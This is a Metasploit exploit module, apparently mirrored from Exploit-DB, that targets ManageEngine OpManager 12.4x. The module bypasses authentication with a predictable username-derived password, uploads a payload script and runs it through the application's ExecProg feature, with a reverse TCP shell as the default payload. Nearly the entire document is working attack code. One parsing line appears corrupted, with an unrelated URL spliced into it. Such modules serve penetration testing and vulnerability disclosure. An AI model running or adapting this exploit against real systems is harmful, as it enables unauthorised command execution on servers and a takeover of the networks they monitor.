ManageEngine OpManager 12.4x – Unauthenticated Remote Command Execution (Metasploit)

  • 作者: AkkuS
    日期: 2019-08-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47229/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
     
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
     
    include Msf::Exploit::Remote::HttpClient
     
    def initialize(info={})
    super(update_info(info,
    'Name' => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution",
    'Description'=> %q(
    This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions.
    It performs authentication bypass and executes commands on the server.
    
    /////// This 0day has been published at DEFCON-AppSec Village. ///////
    
    ),
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
    ],
    'References' =>
    [
    [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ]
    ],
    'DefaultOptions' =>
    {
    'WfsDelay' => 60,
    'RPORT' => 8060,
    'SSL' => false,
    'PAYLOAD' => 'generic/shell_reverse_tcp'
    },
    'Privileged' => true,
    'Payload'=>
    {
    'DisableNops' => true,
    },
    'Platform' => ['unix', 'win'],
    'Targets' =>
    [
    [ 'Windows Target',
    {
    'Platform' => ['win'],
    'Arch' => ARCH_CMD,
    }
    ],
    [ 'Linux Target',
    {
    'Platform' => ['unix'],
    'Arch' => ARCH_CMD,
    'Payload' =>
    {
    'Compat' =>
    {
    'PayloadType' => 'cmd',
    }
    }
    }
    ]
    ],
    'DisclosureDate' => '10 August 2019 //DEFCON',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('USERNAME',[true, 'OpManager Username', 'admin']),
    OptString.new('TARGETURI',[true, 'Base path for ME application', '/'])
    ],self.class)
    end
    
    def check_platform(host, port, cookie)
    
    res = send_request_cgi(
    'rhost' => host,
    'rport' => port,
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'showTile.do'),
    'cookie'=> cookie,
    'vars_get' => {
    'TileName' => '.ExecProg',
    'haid' => 'null',
    }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
    @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
    if @dir =~ /:/
    platform = Msf::Module::Platform::Windows
    else 
    platform = Msf::Module::Platform::Unix
    end
    else
    fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(host, port, cookie, platform, @dir)
    end
    
    def file_up(host, port, cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
    filex = ".bat"
    else
    if payload.encoded =~ /sh/
    filex = ".sh"
    elsif payload.encoded =~ /perl/
    filex = ".pl"
    elsif payload.encoded =~ /awk 'BEGIN{/
    filex = ".sh"
    elsif payload.encoded =~ /python/
    filex = ".py"
    elsif payload.encoded =~ /ruby/
    filex = ".rb"
    else
    fail_with(Failure::Unknown, 'Payload type could not be checked!')
    end
    end
     
    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
     
    res = send_request_cgi({
    'rhost' => host,
    'rport' => port,
    'method' => 'POST',
    'data'=> data.to_s,
    'agent' => 'Mozilla',
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'cookie' => cookie,
    'uri' => normalize_uri(target_uri, "Upload.do") 
    })
     
    if res && res.code == 200 && res.body.include?('icon_message_success')
    print_good("#{@fname} malicious file has been uploaded.")
    create_exec_prog(host, port, cookie, dir, @fname)
    else
    fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
    end
    
    def create_exec_prog(host, port, cookie, dir, fname)
     
    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
    'method'=> 'POST',
    'rhost' => host,
    'rport' => port,
    'uri' =>normalize_uri(target_uri.path, 'adminAction.do'),
    'cookie'=> cookie,
    'vars_post' => {
    'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
    'method' => 'createExecProgAction',
    'id' => 0,
    'displayname' => @display,
    'serversite' => 'local',
    'choosehost' => -2,
    'abortafter' => 5,
    'command' => fname,
    'execProgExecDir' => dir,
    'cancel' => 'false'
    }
    )
     
    if res && res.code == 200 && res.body.include?('icon_message_success')
    actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
    print_status("Transactions completed. Attempting to get a session...")
    exec(host, port, cookie, actionid)
    else
    fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
    end
    
    def exec(host, port, cookie, action)
    send_request_cgi(
    'method'=> 'GET',
    'rhost' => host,
    'rport' => port,
    'uri' =>normalize_uri(target_uri.path, 'common', 'executeScript.do'),
    'cookie'=> cookie,
    'vars_get' => {
    'method' => 'testAction',
    'actionID' => action,
    'haid' => 'null'
    }
    )
    end
     
    def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
    end
     
    def print_status(msg='')
    super("#{peer} - #{msg}")
    end
     
    def print_error(msg='')
    super("#{peer} - #{msg}")
    end
     
    def print_good(msg='')
    super("#{peer} - #{msg}")
    end 
    
    def check
    
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )
    
    if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
    appm_adr = res.body.split('<iframe src="https://www.exploit-db.com/exploits/47229/')[1].split('/Logout.do?showPreLogin=false')[0]
    am_host = appm_adr.split('://')[1].split(':')[0]
    am_port = appm_adr.split('://')[1].split(':')[1]
    
    res = send_request_cgi(
    'rhost' => am_host,
    'rport' => am_port,
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'applications.do'),
    )
    # Password check vulnerability in Java Script :/
    if res.body.include?('j_password.value=username')
    return Exploit::CheckCode::Vulnerable
    else 
    return Exploit::CheckCode::Safe
    end
    else 
    return Exploit::CheckCode::Safe
    end
    end
    
    def app_login
    
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )
    
    appm_adr = res.body.split('<iframe src="https://www.exploit-db.com/exploits/47229/')[1].split('/Logout.do?showPreLogin=false')[0]
    am_host = appm_adr.split('://')[1].split(':')[0]
    am_port = appm_adr.split('://')[1].split(':')[1]
    
    res = send_request_cgi(
    'rhost' => am_host,
    'rport' => am_port,
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'applications.do'),
    )
    
    @cookie = res.get_cookies
    res = send_request_cgi(
    'method'=> 'POST',
    'rhost' => am_host,
    'rport' => am_port,
    'cookie' => @cookie,
    'uri' =>normalize_uri(target_uri.path, '/j_security_check'),
    'vars_post' => {
    'clienttype' => 'html',
    'j_username' => datastore['USERNAME'],
    'j_password' => datastore['USERNAME'] + "@opm",
    'submit' => 'Login'
    }
    )
    
    if res && res.code == 302 or 303
    print_good("Authentication bypass was successfully performed.")
    res = send_request_cgi(
    'rhost' => am_host,
    'rport' => am_port,
    'cookie'=> @cookie,
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'applications.do'),
    )
    
    @cookie = res.get_cookies
    check_platform(am_host, am_port, @cookie)
    else
    fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...')
    end
    end
    
    def exploit
    unless Exploit::CheckCode::Vulnerable == check
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    app_login
    end
    end